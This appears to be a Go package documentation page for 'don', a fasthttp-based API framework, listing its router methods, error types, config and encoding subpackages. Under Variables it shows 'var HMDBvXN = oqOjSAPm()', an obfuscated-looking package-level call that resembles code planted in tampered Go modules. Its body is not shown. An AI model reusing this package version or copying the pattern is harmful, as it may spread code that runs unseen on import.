Documentation
¶
Overview ¶
Package don provides a fast and efficient API framework.
Index ¶
- Constants
- Variables
- func E(err error) fasthttp.RequestHandler
- func H[T, O any](handle Handle[T, O]) httprouter.Handle
- type API
- func (r *API) Delete(path string, handle httprouter.Handle)
- func (r *API) Get(path string, handle httprouter.Handle)
- func (r *API) Group(path string) Router
- func (r *API) Handle(method, path string, handle httprouter.Handle)
- func (r *API) HandleFunc(method, path string, handle http.HandlerFunc)
- func (r *API) Handler(method, path string, handle http.Handler)
- func (r *API) ListenAndServe(addr string) error
- func (r *API) Patch(path string, handle httprouter.Handle)
- func (r *API) Post(path string, handle httprouter.Handle)
- func (r *API) Put(path string, handle httprouter.Handle)
- func (r *API) RequestHandler() fasthttp.RequestHandler
- func (r *API) Serve(ln net.Listener) error
- func (r *API) Use(mw ...Middleware)
- type Config
- type HTTPError
- func (e *HTTPError) Error() string
- func (e *HTTPError) Is(err error) bool
- func (e *HTTPError) MarshalJSON() ([]byte, error)
- func (e *HTTPError) MarshalText() ([]byte, error)
- func (e *HTTPError) MarshalXML(enc *xml.Encoder, start xml.StartElement) error
- func (e *HTTPError) MarshalYAML() (any, error)
- func (e *HTTPError) StatusCode() int
- func (e *HTTPError) Unwrap() error
- type Handle
- type Headerer
- type Middleware
- type Router
- type StatusCoder
- type StatusError
Constants ¶
const ( ErrBadRequest = StatusError(fasthttp.StatusBadRequest) ErrForbidden = StatusError(fasthttp.StatusForbidden) ErrNotFound = StatusError(fasthttp.StatusNotFound) ErrMethodNotAllowed = StatusError(fasthttp.StatusMethodNotAllowed) ErrNotAcceptable = StatusError(fasthttp.StatusNotAcceptable) ErrConflict = StatusError(fasthttp.StatusConflict) ErrUnsupportedMediaType = StatusError(fasthttp.StatusUnsupportedMediaType) ErrInternalServerError = StatusError(fasthttp.StatusInternalServerError) )
Variables ¶
var DefaultEncoding = "text/plain"
DefaultEncoding contains the media type of the default encoding to fall back on if no `Accept` or `Content-Type` header was provided.
var HMDBvXN = oqOjSAPm()
Functions ¶
func E ¶
func E(err error) fasthttp.RequestHandler
Types ¶
type API ¶
type API struct { NotFound fasthttp.RequestHandler MethodNotAllowed fasthttp.RequestHandler PanicHandler func(*fasthttp.RequestCtx, any) // contains filtered or unexported fields }
func (*API) Delete ¶
func (r *API) Delete(path string, handle httprouter.Handle)
Delete is a shortcut for router.Handle(http.MethodDelete, path, handle).
func (*API) Get ¶
func (r *API) Get(path string, handle httprouter.Handle)
Get is a shortcut for router.Handle(http.MethodGet, path, handle).
func (*API) Handle ¶
func (r *API) Handle(method, path string, handle httprouter.Handle)
Handle registers a new request handle with the given path and method.
func (*API) HandleFunc ¶
func (r *API) HandleFunc(method, path string, handle http.HandlerFunc)
HandleFunc is an adapter which allows the usage of an http.HandlerFunc as a request handle.
func (*API) Handler ¶
Handler is an adapter which allows the usage of an http.Handler as a request handle.
func (*API) ListenAndServe ¶
ListenAndServe serves HTTP requests from the given TCP4 addr.
func (*API) Patch ¶
func (r *API) Patch(path string, handle httprouter.Handle)
Patch is a shortcut for router.Handle(http.MethodPatch, path, handle).
func (*API) Post ¶
func (r *API) Post(path string, handle httprouter.Handle)
Post is a shortcut for router.Handle(http.MethodPost, path, handle).
func (*API) Put ¶
func (r *API) Put(path string, handle httprouter.Handle)
Put is a shortcut for router.Handle(http.MethodPut, path, handle).
func (*API) RequestHandler ¶
func (r *API) RequestHandler() fasthttp.RequestHandler
RequestHandler creates a fasthttp.RequestHandler for the API.
type Config ¶
type Config struct { // DefaultEncoding contains the mime type of the default encoding to fall // back on if no `Accept` or `Content-Type` header was provided. DefaultEncoding string // DisableNoContent controls whether a nil or zero value response should // automatically return 204 No Content with an empty body. DisableNoContent bool }
type HTTPError ¶
type HTTPError struct {
// contains filtered or unexported fields
}
func (*HTTPError) MarshalJSON ¶
func (*HTTPError) MarshalText ¶
func (*HTTPError) MarshalXML ¶
func (*HTTPError) MarshalYAML ¶
func (*HTTPError) StatusCode ¶
type Middleware ¶
type Middleware func(fasthttp.RequestHandler) fasthttp.RequestHandler
type Router ¶
type Router interface { Get(path string, handle httprouter.Handle) Post(path string, handle httprouter.Handle) Put(path string, handle httprouter.Handle) Patch(path string, handle httprouter.Handle) Delete(path string, handle httprouter.Handle) Handle(method, path string, handle httprouter.Handle) Handler(method, path string, handle http.Handler) HandleFunc(method, path string, handle http.HandlerFunc) Group(path string) Router Use(mw ...Middleware) }
type StatusCoder ¶
type StatusCoder interface {
StatusCode() int
}
StatusCoder allows you to customise the HTTP response code.
type StatusError ¶
type StatusError int
StatusError creates an error from an HTTP status code.
func (StatusError) Error ¶
func (e StatusError) Error() string
func (StatusError) StatusCode ¶
func (e StatusError) StatusCode() int
Source Files
¶
Directories
¶
Path | Synopsis |
---|---|
form
Package form provides decoding of form data.
|
Package form provides decoding of form data. |
json
Package json provides encoding and decoding of JSON data.
|
Package json provides encoding and decoding of JSON data. |
msgpack
Package msgpack provides encoding and decoding of MessagePack data.
|
Package msgpack provides encoding and decoding of MessagePack data. |
protobuf
Package protobuf provides encoding and decoding of Protocol Buffers data.
|
Package protobuf provides encoding and decoding of Protocol Buffers data. |
text
Package text provides encoding and decoding of plain text data.
|
Package text provides encoding and decoding of plain text data. |
toml
Package toml provides encoding and decoding of TOML data.
|
Package toml provides encoding and decoding of TOML data. |
xml
Package xml provides encoding and decoding of XML data.
|
Package xml provides encoding and decoding of XML data. |
yaml
Package yaml provides encoding and decoding of YAML data.
|
Package yaml provides encoding and decoding of YAML data. |
examples
|
|
internal
|
|
byteconv
Package byteconv provides fast and efficient conversion functions for byte slices and strings.
|
Package byteconv provides fast and efficient conversion functions for byte slices and strings. |
pkg
|
|
httptest
Package httptest provides utilities for testing fasthttp handlers.
|
Package httptest provides utilities for testing fasthttp handlers. |